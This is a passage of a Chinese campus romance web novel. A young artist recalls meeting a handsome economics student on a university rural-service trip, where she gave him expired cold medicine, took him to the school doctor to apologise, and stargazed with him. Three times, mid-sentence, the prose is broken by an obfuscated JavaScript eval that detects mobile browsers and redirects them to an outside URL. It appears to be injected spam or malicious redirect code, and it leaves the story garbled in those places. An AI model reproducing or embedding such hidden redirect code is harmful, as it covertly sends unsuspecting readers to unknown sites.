可她不知道该怎么解释,索性点头默认。 “好乖。”连芷还是没忍住摸了摸她的脑袋,“咱们伊伊真是可人疼的孩子啊。” 话到这里一顿,又暧昧地冲她眨眨眼睛,道:“难怪男朋友那么帅又贴心呢。” 没等祝昀伊回应,立刻有人兴奋地接道:“你说的是那个经常来接咱们忙内的大帅哥吧?” “啊啊啊我也见到过!一开始还以为是明星呢!“ ”我也是!第一次见到那么帅的,原来是忙内的男朋友啊。” “忙内男朋友不仅帅还开豪车呢。“有个懂车的硬件工程师咋舌道:“上周是帕拉梅拉,前天是AMGGT63S,昨天甚至是911TurboS,长见识了都。” “老天爷,这世上多我一个有钱人会怎么样!” 同事们七嘴八舌地讨论着,祝昀伊反应过来后只觉得害臊又尴尬。 最近谢今越确实经常来接她下班,只是她没想到竟然大半个工作室的人都撞见过他来接自己。 这时工作室的行政小姐姐好奇地问:“伊伊和男朋友是怎么认识的?” 此话一出,除了认真干饭的李滕光以外,所有人都目光炯炯地盯住她,眼里燃烧着对八卦的求知欲。 骤然成为目光焦点,祝昀伊忍不住红了脸,嗫嚅了一会才轻声道:“我们……是在学校的社会实践上认识的。” “……社会实践?” 大家显然没想到竟是在这么朴实无华的场合,一时都有些懵。 直到有个人率先反应过来,道:“等等……我记得伊伊和书姐一个学校,也就是说,男朋友也是华大的?!” 祝昀伊点点头,“嗯,他是华大经管的,我们是同一届。” 大伙们闻言都惊呆了,再度七嘴八舌起来。 “你华大竟然有真少爷!” “我天,华大经管本科……IP正确啊!” “原来上天为他关了扇窗,是为了给他开冷气。” “这是群众里出了坏人啊!” 祝昀伊:“……” 每个人刚认识谢今越时几乎都是这样的反应,她甚至有些习惯了。 行政小姐姐制止了吵闹的众人,捧着脸笑眯眯地追问:“伊伊和我们说说跟男朋友认识的过程吧,满足一下姐姐早已枯萎的少女心。” 面对大家兴致勃勃的目光,祝昀伊几乎从耳根红到了脖子:“这个,该怎么说呢,其实也没有什么特别的……” 在她大一升大二的暑假,美院、经管、环境、建筑和新闻传播学院合力举办了一个百人乡村振兴社会实践。 该项社会实践的内容是组织学生到京市周边较偏远的地方进行乡村振兴计划,时间为期两周。 由于是几个学院合力举办的大型活动,报名的学生非常多,竞争激烈,报名者不仅需要提交个人简历、申请陈述等,还得通过面试,并经由综合评定来决定是否录取。 祝昀伊和室友们都递交了申请,四人最终也都幸运地录取了。 临行前一晚,几个人因为太兴奋,聊到凌晨才睡,隔天早上竟纷纷错过了闹铃。 幸好祝昀伊在紧要关头醒来,慌忙地把其他人叫醒,并领着大家赶在出发前一刻到达集合地点,这才没被大巴丢包。 由于她们到的很晚,又被带队老师喊去训了几句,上车时美院的大巴只剩下两个位置,其他大巴也几乎都坐满了,只剩下经管那边还有位置。 四人只好透过猜拳决定座位,最后是祝昀伊和顾瑶一起去了经管那辆大巴。 彼时尚未发车,经管学院的大巴上也是一阵吵闹,她俩上车时有个正在和同伴打闹的男生还险些撞到她们身上。 “哎抱歉抱歉……” 发现险些撞到人,男生连连道歉,却在回头看见上来了两个漂亮的女孩子时,脑子一下子卡壳了。 “哎……这……”男生憋了半晌,勉强憋出一句:“同学,请、请问有什么事吗?” 走在前头的祝昀伊连忙解释:“你好,我们是美院的学生,因为我们那辆大巴坐满了,老师就让我们来坐你们这辆。” 她抬眼看了圈几乎坐满了人的大巴,腼腆地看着对方问:“请问还有哪里有空位呢?” 男生被她这么一看,立刻红了脸,点点头。 祝昀伊没明白他的意思,又问了一次:“请问还有哪里有空位?” 男生依旧红着脸,再次点点头。 祝昀伊:“?” 走在她身后的顾瑶见状忍不住笑出声来,眼尾微微上挑的桃花眼里盈满了揶揄。 那男生循声看向顾瑶,一见又是个大美女,脸顿时更红了,摆出一副眼睛不知道要往哪看的慌乱模样。 这时他的后脑突然挨了一记,只见一个身高逼近一米九、却长了张娃娃脸的男生凑过来没好气地道:“人家问你哪里有位置,你搁这一个劲的点头干什么。” 他的声音低沉宏亮,此话一出,几乎大巴上所有人都朝前方看了过来。 祝昀伊和顾瑶顿时成为众人的视线焦点。 尤其是走在前头的祝昀伊,她被看得脸都红了,只好慌乱又局促地再次解释了一遍她们为什么上这辆车。 这辆大巴上大部分是经管学院的学生,还有几个环境学院和建筑学院的,且泰半都是男的,女生们则大多在其他车。 眼见有两个美院的上来,且还都是很漂亮的女孩子,人群中顿时掀起了一阵骚动。 祝昀伊尴尬得只想转头下车。 “大家别吵,别吓坏了我们美院的同学——” 开口的是那个一米九娃娃脸。 他抬眼环视了车内一圈,热心地帮她们找位置,最后替她俩收拾出两个在一起的座位。 祝昀伊感激地道:“谢谢你。” 男生摆摆手,笑的时候露出了虎牙:“没事没事,互相帮助嘛。” 后排传来了几声带着笑的调侃—— “不愧是咱们煜哥,那叫一个热心助人啊!” “帅,好帅,陆煜哥哥你好帅!” “哇塞哇塞,陆煜哥哥超哇塞,好帅好帅腹肌有八块——” 名叫陆煜的男生顿时气笑了,挽着袖子到后排揍人,大伙全笑作了一团。 顾瑶没理会一群男生的起哄声,对祝昀伊道:“伊伊你会晕车对吧?那你坐窗边吧。” 祝昀伊弯起眼睛笑:“谢谢瑶瑶。” 她轻手轻脚地坐进里头靠窗的位置,并将随身背包放到腿上,检查是否有遗漏的东西。 这时陆煜揍完人回到了自己的座位上,祝昀伊这才发现他恰好就坐在顾瑶后排,至于与他坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093443|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起的人,她倒是没有注意。 车子发动后,顾瑶戴上耳机继续补眠,祝昀伊则靠在椅背上望着窗外流动的街景。 此刻车厢内较方才安静了些许,但还是时不时能听见交谈与打闹的声音。 陆煜也正和身旁的人说话,他的声音极具辨识度,即便四周吵杂依然清晰可闻。 祝昀伊听见他语带关心地说:“越,你头还疼不?是不是真感冒了啊?” 他似乎本就个热心的性子,一开口便是絮絮叨叨的一连串话。 “早让你有症状就赶紧去看病,你非要说睡一觉就好,你看,这不更严重了?” “听说咱们要去的那个村落偏僻的很,说不定连家小诊所都没有,要不我问问大巴司机能不能先拐到附近的医院?否则你在那小村庄病倒了可怎么办?你可是咱们组的组长。” 下一秒,一道温润清越的声音蓦然响起:“你很吵。” 那人有着一把非常悦耳的声音,像某种贵重木料与清泉的结合,底色是温暖而沉稳的,质地却干净而清冽,在略显纷杂的车厢里,如同一道穿过林间的清风,让周遭的喧哗瞬间失焦。 然而,明明应该是很温柔的声音,可他的语气却带着几分不耐烦,由此形成的反差愈发吸引他人的注意。 祝昀伊指尖一顿,竟莫名好奇起声音主人的长相。 可她没有胆子回头偷看,只得一边看着窗外一边默默听他们说话。 陆煜还在苦口婆心地劝着:“你可别小看这小感冒,有多少人就是轻忽了感冒,结果变成肺炎送医住院的。” “……” 被唤作“越”的男生没有说话。 祝昀伊十分认同陆煜的话,某一年她的妹妹也是从小感冒恶化成肺炎,送医住院了两周才出院。 虽说如今正值盛夏,可还是不该轻忽任何一种小病。 “你要是不想去医院的话,要不我先给你找点药?” 陆煜说,没等对方回应,他已回头问起其他人身上有没有感冒药,可惜问了一圈,只问到晕车药和过敏药。 “是谁感冒了啊?” “今越,他从昨晚就头疼,没有感冒药的话止疼药也行。” “要不等等下车后问问老师?听说咱们这次有随行的校医。” “可到目的地还要几个小时呢。” 就在大伙们正讨论时,祝昀伊从自己包里找到了一盒感冒药,她回头想要拿给陆煜,可惜他正和后排的同学们说话,没有注意到她。 小声地喊了几句都无果后,她只得高举手臂,并拔高了声音说:“那个──” 女孩子清脆的声音骤然响起,果然引来了大家的注意。 祝昀伊举着药盒起身,从椅背后探出头来,“我、我这里有感冒药,不介意的话,可以吃这个……” 话音落下,四周陡然陷入寂静。 她被众人的目光看得有些不知所措,只得捏着药盒冲大家尴尬地笑了笑。 后排有人默默捂住了鼻子。 陆煜也反应过来,可他没有伸手去接药盒,而是下意识看向了身旁的人。 祝昀伊顺着他的目光看过去,终于看清了那道清越声音的主人。 她原以为,有着那样一把温润嗓音的人,应该也是生得一副斯文儒雅的相貌。 却不想,眼前的人竟不似她想像中的模样。 穿着黑色T恤的少年正抱臂靠在椅背上,修长的脖颈上挂着副灰色的头戴式耳机,当祝昀伊偏头朝他看去时,正巧撞入他的视线。 那人有着一张深邃俊美的脸,他的肤色白皙,骨相优越,似精雕细琢的玉人般,面上的每一寸都勾勒得恰到好处,多一分则过于浓烈,少一分则趋于平淡,是令人一眼惊艳的英挺相貌。 此刻他的表情有些冷淡,偏偏温柔的晨光穿过车窗映照在他脸上,为那张英俊到显出几分攻击性的脸平添了几分温和。 就连那双幽沉漆黑的眼睛,好似也被映出了些许光亮。 “……” 祝昀伊微微睁大眼睛,竟忍不住看呆了。 10. 过期药品 意识到一直盯着别人看并不礼貌,祝昀伊连忙低下脑袋,查看起药盒上的使用说明。 然而抑制不住的红晕却从耳根一路蔓延到脖颈,幸而被长发遮掩才没有被人察觉。 她努力让语气显得镇定一些,问他有什么样的症状。 “头疼。” 正懒懒地靠坐在椅背上的男生说道,他不动声色地坐直了身子,“还有一点鼻塞。” 他的声音很好听,如同清风般传入耳膜时,那股悸动的感觉彷佛一路从耳蜗传到了心脏。 她忍不住把脑袋埋得更低,藏在发下的耳根更红了,“嗯……这些症状都适用这款药,你有对哪种药物成分过敏吗?” “没有。” 祝昀伊点点头,打开包装盒取出一排药片,“一次服用两颗,建议饭后服用,如果你还没有吃早饭的话,可以先吃点东西再吃药。” 她把药递过去,可对方却没有立刻伸手来接。 祝昀伊一愣,顿时觉得有些无措又忐忑,捏着药的指尖微颤。 等了几秒,她鼓起勇气抬眼看向他,道:“那个,如果你不需要的话也没关──” “我需要。” 视线相撞的瞬间,手中的药突然被人接过去了,祝昀伊看见少年直望着她,唇角好似细微的勾动了下,“谢谢。” “……” 其实这个时候她应该回一句“不客气”的,可喉咙莫名发不出声音,她只得红着脸点了点头,坐回自己的位置上。 早在他们开始对话时,四周便陷入了一片诡异的安静,直到对话结束依然没有人出声。 片刻后,不知是谁先试探性地调侃了句“人帅真好”,下一秒就被一道温润清越的嗓音冷冷堵了回去:“闭嘴。” 车内于是又归于一片死寂。 几个小时后,大巴抵达目的地,大伙们纷纷收拾东西准备下车。 终于睡醒的顾瑶也从祝昀伊那得知了刚才发生的事,她回头看了眼坐在昀伊后面的人,挑着眉评价道:“啧,没想到经管学院竟然有这种极品。” 祝昀伊红着脸拉拉她的袖子,示意她小声点。 两人跟着人流下车,顾瑶率先走入过道,祝昀伊刚要跟上时,正一边回头和旁人说话一边往前走的陆煜没注意到她,抢先了一步。 她见状索性站在原地让其他人先下车。 这时,一道挺拔的身影倏然止住步伐,偏头对她说道:“你先过吧。” 是那个叫做今越的男生。 祝昀伊这才发现他很高,当他站直了身子,头顶与天花板竟只剩下一小段距离。 此刻他的双手正搭在过道两侧的椅背上,挡住身后不断往前的人们,给她让出了通道。 “……谢谢。” 祝昀伊抿着唇向他道谢,走到他前面时,鼻尖嗅到了他身上浅淡的木质调香气。 那一秒,心跳快得像是要撞出胸腔。 等到与许晓蓓和林知棠会合后,顾瑶兴致勃勃地和她们说起祝昀伊方才在车上帮助了一个经管大帅哥的事。 听到见多识广的顾瑶竟给出如此高的评价,林知棠立刻后悔没有选择搭乘经管那辆大巴。 她连忙问昀伊:“真的有那么帅?” 祝昀伊想起那张令人惊艳的深邃俊脸,点点头:“嗯,很帅。” 林知棠咋舌:“连伊伊都这么说,这得有多好看啊?等会要是遇见了记得指给我看啊!” 祝昀伊失笑着应好。 “说不定人家会主动找上门来呢。” 许晓蓓突然脑洞大开,表情暧昧地冲祝昀伊嘿嘿直笑:“毕竟获得了美女的帮助,这不得亲自上门致谢啊!” 祝昀伊莫名红了脸,不自觉移开视线:“只是帮了个小忙而已。” 许晓蓓注意到她颊上的红晕,越发笑得乐不可支:“咦,伊伊你怎么脸红了呀?” 祝昀伊欲盖弥彰地抬手扇风,道:“因为天气太热了。” 顾瑶揶揄道:“是天气太热,还是想到了谁才觉得热啊?” 祝昀伊整张脸都红透了,她背着包快步往前走,闷头嘟囔着:“你们好烦,我要走了。” “哎呀伊伊等等我们嘛!” 几个室友嘻嘻哈哈地追上去,四个人在路上闹成了一团。 祝昀伊没想到,许晓蓓竟会一语成谶。 不过并不是对方主动找上门来向她道谢,而是她不得不主动找上对方和他道歉。 原因是,晚上在房间整理行李时,她猛然发现自己给那个经管男生的感冒药竟然已经过期两个月了。 “完蛋了……” 一发现这个事实,祝昀伊顿时捏着药盒瘫软在床边,只觉得一阵晴天霹雳。 脑海里瞬间闪过对方服药之后被过期药品毒得上吐下泻不得不紧急送医的可怕画面,她的表情于是越发绝望了。 在她身旁的顾瑶见她一脸崩溃,连忙安慰道:“感冒药过期了应该不至于有毒,顶多就是药性减弱而已。” “那我也得告诉对方……” 祝昀伊从床边爬起来,神情木然地揉了把脸,随后摆出一副老实人豁出去了的坚毅表情:“我要去找他道歉。” 还得看看对方有没有事,要是真有事的话她也得负起责任才行。 顾瑶瞧她一脸的视死如归,有点想笑但不敢笑:“要陪你去吗?” 祝昀伊眼神坚定,声音清亮。 “……要的。” 出口的语气弱弱的,非常之怂。 - 由于参与这次社会实践的人数众多,主办部门便将参与者的住处安排在村庄内唯一一所学校里。 女生们大多被分配住在教师宿舍,男生则被分去了学校內几间设有空调的教室及礼堂。 此时天已经黑了,漆黑的校园内只有几栋住了人的校舍还亮着灯,祝昀伊在室友们的帮助下一路东问西问,终于找到了经管学院男同学们所在的校舍。 至于要怎么找到那个男生,这又是一个大问题。 总不能逮着个人就告诉对方想找他们学院里那个声音很好听的大帅哥吧? 祝昀伊苦恼地揉了揉头发。 顾瑶好笑道:“你不是知道人家的名字吗?你都说听见他同学喊他名字了,直接说要找这个名字不就行了。” 祝昀伊觉得很有道理,她恍然大悟地点点头,道:“……我不敢。” 顾瑶:“……” 顾瑶:“我真服了你个大I人。” 这时大E人林知棠表示愿意提供帮助,她问道:“那帅哥叫啥名字来着?” 祝昀伊立刻答:“今越。” 林知棠惊讶道:“姓今啊?好特别的姓氏!” 祝昀伊其实不确定他姓什么,只是听见陆煜喊他今越,或许今越只是名字,前头还有个姓也说不定。 得到目标人物的姓名后,林知棠便出发寻找NPC了。 她很快逮住两个路过的男生,先是询问他们是不是经管的学生,得到肯定的答案后立刻说想要找一个叫做“今越”的人。 两个男生面面相觑,其中一人问道:“同学,请问你找他有什么事吗?” 林知棠指了指站在不远处的祝昀伊,道:“不是我,是我的室友有话想和他说,能麻烦你们喊他出来吗?” 两个男生顺势看向不远处的三人,巧合的是,这两人其中之一恰好就是那个在大巴上险些撞到祝昀伊的人。 眼见今早在车上见到的女孩子正一脸紧张又忐忑地站在路灯下,疑似是在朋友们的陪伴下鼓起勇气来和今越要联系方式,男生心下虽有些失落,但还是热心地点点头:“那你们稍等一下,我去喊他出来。” 他的同伴见状愣了一下,道:“喂,今越不是最讨厌被搭——” 后头的话没能说完,那男生已经快步走进校舍叫人去了。 而在接下来等待的几分钟里,祝昀伊只觉得紧张得快要吐了。 她在脑子里不断构思着道歉的话语,纤长的睫毛飞快地扇动着,小鹿般圆润的眼睛则不安又忐忑地盯着校舍门口。 顾瑶见状捏了捏她的面颊,道:“伊伊,还在呼吸吗?” 祝昀伊答:“没有,已经有点死了。” 顾瑶:“……” 就在这时,一道高大挺拔的身影忽然自门口的阴影中缓缓走出来,一路来到了她们面前。 当校舍外的路灯照亮了他的脸时,不知是谁小声惊呼了句:“妈耶,这也太帅了……” 祝昀伊见了来人也是一呆,脑子里打好的草稿在与他对视的瞬间全数清零。 她注意到他此刻戴了副眼镜,比之在大巴上时更多了几分斯文清俊,这让她第一次想用“矜贵”这个词汇来形容一个男生。 正胡思乱想着,对方率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093444|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先开口了:“你找我有事?” 语气淡淡的,但声线一如既往的温雅清朗。 祝昀伊连忙回神,她下意识扭头看向室友,却见许晓蓓不知何时已拉着林知棠和顾瑶嘻嘻哈哈地退到了后头。 此刻温暖昏黄的路灯下,只有她和今越站在光罩子里,好似老天特意为他们开设了一个专属舞台。 “那个……我……” 心脏猛烈地撞击着胸膛,祝昀伊张了张嘴,结结巴巴地“我”了半天,也没“我”出个所以然。 对方并未催促,只是耐心地看着她。 祝昀伊深吸了一口气,下一秒,蓦地弯下腰朝他深深鞠躬:“对不起——!!” 她的身子几乎弯成了90度,柔软的长发自肩头滑下来,朝他露出个圆圆的头顶。 只听她语气自责地说:“我刚刚整理行李的时候才发现给你的药已经过期了……” “对不起,我应该仔细检查过再给你的,真的非常抱歉!!” 说了一连串道歉的话后,她直起身子,小心翼翼地看着他:“你已经吃过那些药了吗?” 眼前的人正垂眸与她对视,听见她说给他的药过期了,脸上并没有露出半分恼意。 他眉头微挑:“嗯,吃过了。” 祝昀伊更愧疚了,立刻追问:“你……你吃了多少?” 却听他答:“早午晚饭后各吃了一次,按照你说的方法每次两颗,总共六颗。” 祝昀伊:“!!!” 她闻言慌忙朝他靠近,眼睛在他身上四处打量,语气焦急地问:“那你有没有哪里觉得不舒服?我带你去给校医老师看看好不好?” 看着她脸上担心得像是快要哭出来的表情,今越并没有立刻回应。 直到祝昀伊又急急喊了他一声,才终于听见他低声说了句:“好。” 她没想到他会答应得这么爽快,一时不由呆住了。几秒后才又慌忙回神,领着他往外走:“医、医务室在那边,请跟我来。” 今越点点头,迈步跟上了她。 而在看见两人一前一后地往别处走后,许晓蓓三人激动得当场跳起来,拉在一起的手几乎晃成了波浪状,校舍二楼的栏杆前则爆出男生们七嘴八舌的讨论—— “我草,今越怎么跟着人家走了!” “啊啊啊啊他们要去哪里!我们现在跟上去会被揍吗!会吗会吗会吗——” “没想到美院妹子人看着挺腼腆实则是个生猛的直球选手……” - 往医务室的路上有些暗,祝昀伊不得不打开了手机的手电筒功能。 她走在前面领路,时不时回头看今越有没有跟上,还会提醒他注意脚下。 只是愈往前方走,路就愈暗,到后来两侧几乎没有路灯亮着,只有她的手机是唯一的光源。 祝昀伊总觉得这个情景有些怪异,为避免对方误会,她连忙解释道:“医务室在前面那栋楼,因为这所学校也有医务室,所以校医老师直接借用了学校的场地。” 没等今越回答,她又补充了一句:“刚刚经过时还没有那么暗的……不是故意带着你往暗处走的。” 只差把“我不是坏人”说出口了。 就在这时,头顶突然传来了一声低笑,那声音离她很近,就像紧贴着她的后背—— “就算你是故意把我引来暗处,该感到害怕的好像也不会是我。” 祝昀伊闻言一愣,下意识回头,却见刚刚还离她至少三步之遥的人,此刻就站在她的身后一步之内的距离。 他很高,她不过堪堪到他的下巴,当他紧贴着她站立时,身高差距所投下的阴影几乎将她全然笼罩。 手机发出的光没能照亮他的脸,反倒将那张骨相出众的面容映照得晦暗不明,藏在镜片之后的眼睛更似闪烁着幽光。 祝昀伊:“……” 她这时才后知后觉地意识到,和一个陌生男性在黑暗的校园角落独处貌似是一件非常危险的事。 思及此,她忍不住后退了一步,双臂也缩在胸前,做出一个感到不安时会有的防护姿势。 “终于有点危机感了?” 少年说这句话时声音很轻,像拂过旷野的风,直听得人背脊发凉,眼睫乱颤。 只见他一边说着,一边又突然朝她靠近一步:“敢一个人带着我往这么暗的地方来,不怕我对你做些什么?嗯?” 11. 心宿二 气氛陡然变得诡异起来。 祝昀伊被这句如同恐吓的话语吓了一跳,忍不住又往后退了一步,颤动的睫毛像不停扑腾着翅膀的蝴蝶,却还极力维持表情的冷静。 今越没有再往前,可悬殊的身高差和体型差依然在昏暗静谧的环境下带来了强烈的压迫感。 祝昀伊感觉心跳快得像是下一秒就要从嗓子眼蹦出来,她无措地开口:“那个……我……” 其实她本来是打算喊室友一起去医务室的,可是见到今越后她实在太紧张,脑子一抽就让他跟着她走,等到再回神时已经是这个情形了。 她正构思着该如何解释,忽然看见他抬起了手臂,不由吓得肩膀微缩,正想再往后退—— 下一秒,就见他的手里也发出了光亮。 今越打开手机的手电筒朝前方一照,看着不远处道:“那边亮着灯的地方是医务室?” “啊、啊?”祝昀伊僵滞几秒,这才顺着他指的方向看去,道:“是的……” 今越“嗯”了一声,率先迈开步伐往前走,两人的角色一下子对调了,他变成走在前头领路的人,她则亦步亦趋地跟着他。 祝昀伊看着眼前挺拔的背影,回想起他刚刚说的那些话,终于反应过来对方是在捉弄自己。 “……” 隐在黑暗中的脸颊一点一点地变红了。 - 医务室里飘散着淡淡的消毒水味。 祝昀伊在去找今越以前就先来过医务室,因此校医一见到两人便笑:“这就是那位误食了过期药物的同学?” “……是的老师。”祝昀伊自今越身后探出头来,脸上是窘迫又自责的表情。 校医的目光在他俩之间来回打转,调侃道:“是个帅小伙呢,难怪女朋友那么紧张,还先来医务室替你询问服用过期药的后果。” 祝昀伊干巴巴地解释:“老师,我、我们不是……” 校医只给了她一个“老师懂”的暧昧表情,这便招呼今越过来坐在诊疗椅上。 她先是仔细地问了诊,待确认他服用过期药物后没有出现任何异常症状或副作用,又替他做了基本的理学检查。 “鼻腔黏膜有点肿,待会给你涂点药,再给你开些感冒药,按照三餐饭后服用。” 校医戴上医用手套,一边拿棉签沾药一边解释道:“药物过期后药性就会减弱,虽然不至于产生毒素,但如果药品变质了,便有可能在服用后出现不良反应,所以过期的药还是别乱吃了。” 今越应道:“好。” 祝昀伊追问:“老师,那今……他今天吃了那些药对身体有什么影响吗?他总共吃了六颗。” “看起来问题不大。”校医替今越涂完药,把手套摘下来,“回去多喝水多休息,按时吃药就行。” 听见校医这么说,祝昀伊高悬的心终于落回原地,她悄悄松了口气。 校医见她拍着胸脯一脸庆幸,面上笑意更深,乐呵呵地对今越道:“女朋友这么紧张你,要好好珍惜啊。” 说完,也没等两人反应,便到后头的药品室找药去了。 医务室内安静下来,陷入一阵诡异的沉默。 祝昀伊局促地站在原地,只要抬起眼就能和正坐在诊疗椅上的今越对上视线,她没敢直望向他,而是全程盯着桌上的诊疗器具。 虽然没有看向对方,可眼角余光好像能感受到他正看着自己。 “……” 祝昀伊越发坚定地将目光钉死在压舌板上。 她想起方才校医误会了两人的关系,有心想要和他解释自己别无他意,又担心越描越黑,因此反复欲言又止,止言又欲。 尴尬又无措的心思不断膨胀,挤压得连空气也变得稀薄。 实在承受不住时,她慌忙低下脑袋,轻声说:“我……我去外面等你。” 紧接着便像只仓皇逃窜的小动物般匆匆到门外去了。 不久后校医拿着药回来,见昀伊不在,不由问道:“咦,你女朋友去哪了?” 今越没有多做解释,只淡声答:“外头。” 校医看了眼黑漆漆的窗外,一脸疑惑:“外面那么黑,她去那做什么?” 今越停顿了下,随口答道:“看星星吧。” - 当今越拿着药走出医务室时,一眼就看见了站在走廊外花圃旁的纤细身影,只见她怀里抱着两瓶水,正抬头仰望夜空。 他缓步走到她身旁,问道:“你在做什么?” “看星星。”祝昀伊下意识答。 这个村落住的人少,且距离市中心非常远,因此光害也不似城市那般严重,加上今晚天气不错,云层稀薄,此刻夜幕中星点满布,闪烁的星光无声传递着万千年前的宇宙信息。 她对星星颇有研究,便伸手指向夜空,比划道:“看,那就是北斗七星。” 雪白的指尖对准星点,缓慢勾勒出一个倒立的勺子形状,她一边画一边解释:“这是柄,慢慢往下……这里就是斗。” 随后指尖又顺着勺斗尾端延伸出去,定在五倍距离外最亮的那颗星上,道:“那颗是北极星。” 今越稍稍俯下身,配合著她指的位置看去,道:“嗯,看见了。” 祝昀伊笑起来,又指向东边天幕上三颗格外耀眼的星星:“最高的那颗是织女星,偏北方的是天津四,最下方靠近地平线的是牛郎星,这三颗连起来就是夏季大三角。” 今越应了一声,目光却不自觉从漫天星斗转移到她的脸上。 “还有南方偏东的位置……” 祝昀伊认真比划着,指尖勾勒出一个星座的形状,“那是天蝎座,看见三颗蝎爪往下延伸连接的位置了吗?那颗红色最亮的星星是心宿二,因为恰好位于蝎子的胸部,所以又被称作‘蝎子的心脏’。” 她好奇地扭头问道:“你是什么星座?” 却在回头的那刻,恰好撞入他那双幽沉深邃的眼睛里,此刻两人之间不过咫尺距离,近到只要其中一人再往前一步,鼻尖就能碰上。 呼吸纠缠之际,浅淡的木质调香气仿佛也铺天盖地而来,将她团团包裹。 今越定定地与她对视,道:“天蝎。” 在这句话音落下的瞬间。 原先平稳的心跳猛然剧烈地撞击起来,仿佛与浩瀚宇宙中那颗巨大而红热的蝎子之心遥相呼应,这是如同命中注定般的悸动。 “……” 祝昀伊呆呆地看着他,久久回不了神。 直到校医的声音蓦地自身后传来:“同学,你们还没走呀?刚好我找到了两把手电筒,一把给你们吧,回去的路上太黑了。” 今越接过手电筒,看向一听见校医的声音就慌忙跳开的祝昀伊。 他的视线顺着她害臊的表情往下,落在她怀里的那两瓶水,眼神里透出询问。 祝昀伊注意到他的目光,红着脸解释道:“我看见走廊上有自动贩卖机,就给你买了瓶电解质水……我只买了一瓶,不知道为什么却掉下来两瓶,那就两瓶都给你吧。” 她一边说一边将两瓶水都塞给他,却见他又将其中一瓶递回来,道:“一人一瓶。” “……哦。”祝昀伊接下水。 这时今越打开了手电筒,又侧头看向身旁的人,忽然把瓶子的另一端递过来。 祝昀伊见状一愣,竟莫名领会了他的意思,缓缓抬手握住了瓶子。 两人就这么一人握着水瓶的一端,相偕走入黑暗的校园小路里,瓶中的液体随着步伐在他们之间来回摇晃。 这是祝昀伊走过的最短暂又最漫长的一段路。 短暂得恍若眨眼一瞬就到了,又漫长得仿佛她的心跳在此期间已跳了数十万下。 医务室和经管男同学住的校舍离得不远,当抵达校舍外时,祝昀伊握住水瓶的手指先是一紧,随后缓缓地松开了。 可没等她完全放开,便听见今越温润的声音说:“你住哪?我送你回去。” 祝昀伊一愣,连忙摆手:“不用了,我自己回去就好……” “在哪?”今越又问了一次,这次是不容拒绝的语气。 祝昀伊只好道:“我住在教师宿舍,往那边走。” 往教师宿舍的一路上都有路灯,今越便关掉了手电筒,可两人握着水瓶的手却依然没有放开。 直到抵达目的地后,祝昀伊才率先松开手,轻声和他道谢:“谢谢你送我回来。” 今越看着她低垂的眼睫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093445|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻轻应了一声:“嗯。” 他没有急着走,像是想等她进去后再离开。 祝昀伊犹豫了一会,还是鼓起勇气把藏在口袋里的一张纸条递给他,道:“这个给你。” 见他接过后立刻就想打开来看,她连忙出声制止:“……回去再看!!” 当今越抬眼看来时,她忍不住低下脑袋避开他的视线,欲盖弥彰地解释:“这里太暗了,伤眼睛……所以回去再看吧。” 没等他回应,又抱紧怀里的水对他说:“那我先进去了,晚安。” “嗯。”今越将纸条收好,直望着她说:“再见。” 祝昀伊一顿。 他说的不是晚安,他说的是再见。 明知道只是一句再寻常不过的道别,却还是让她心底最隐密的角落悄悄生出了一丝期待。 于是祝昀伊也用很轻的声音回应:“再见。” …… …… 然而,说是再见,可接下来的两周里两人却始终没有什么交集。 这次社会实践,各个学院都有老师带队,各小组专业分工明确,除非是小组间的合作项目,否则鲜少会有接触。 祝昀伊所在的小组负责村子里的艺术墙绘,因此这半个月里她都举着刷子在炎炎艳阳下担任无情的刷墙工人。 三个室友中,只有林知棠和她在一个小组,顾瑶在艺术装置组,负责为村子设计艺术装置,许晓蓓则在产品设计组,负责替村子包装欲推广的特色农产品。 虽然彼此分属不同组别,可许晓蓓始终惦记着在炎日下辛苦创作的室友们,经常提着冰饮前来慰劳大家,顺便带来第一手八卦。 她今天分享的最新消息是,昨天她小组内某专业的某某人和谢今越要联系方式,结果被拒绝了。 巧合的是,许晓蓓所在的小组恰好和经管学院有合作,而经管那边的小组负责人正是谢今越。 也是听许晓蓓说起,祝昀伊才知道他的全名叫做谢今越。 “这都是第几个了啊?”林知棠啧啧两声,“果然经管大帅哥的魅力就是不同凡响。” 其实谢今越的名字不仅经常出现她们几人的谈话中,在其他不同专业不同小组的女生们中也多有讨论。 虽然她们学校广大的男同学中也不乏帅哥,可帅到谢今越这种程度的实属罕见,更不用说他身上还有经管光环锦上添花。 顾瑶单手托着下巴,懒洋洋道:“不只如此,我看他估计还是个富二代。” 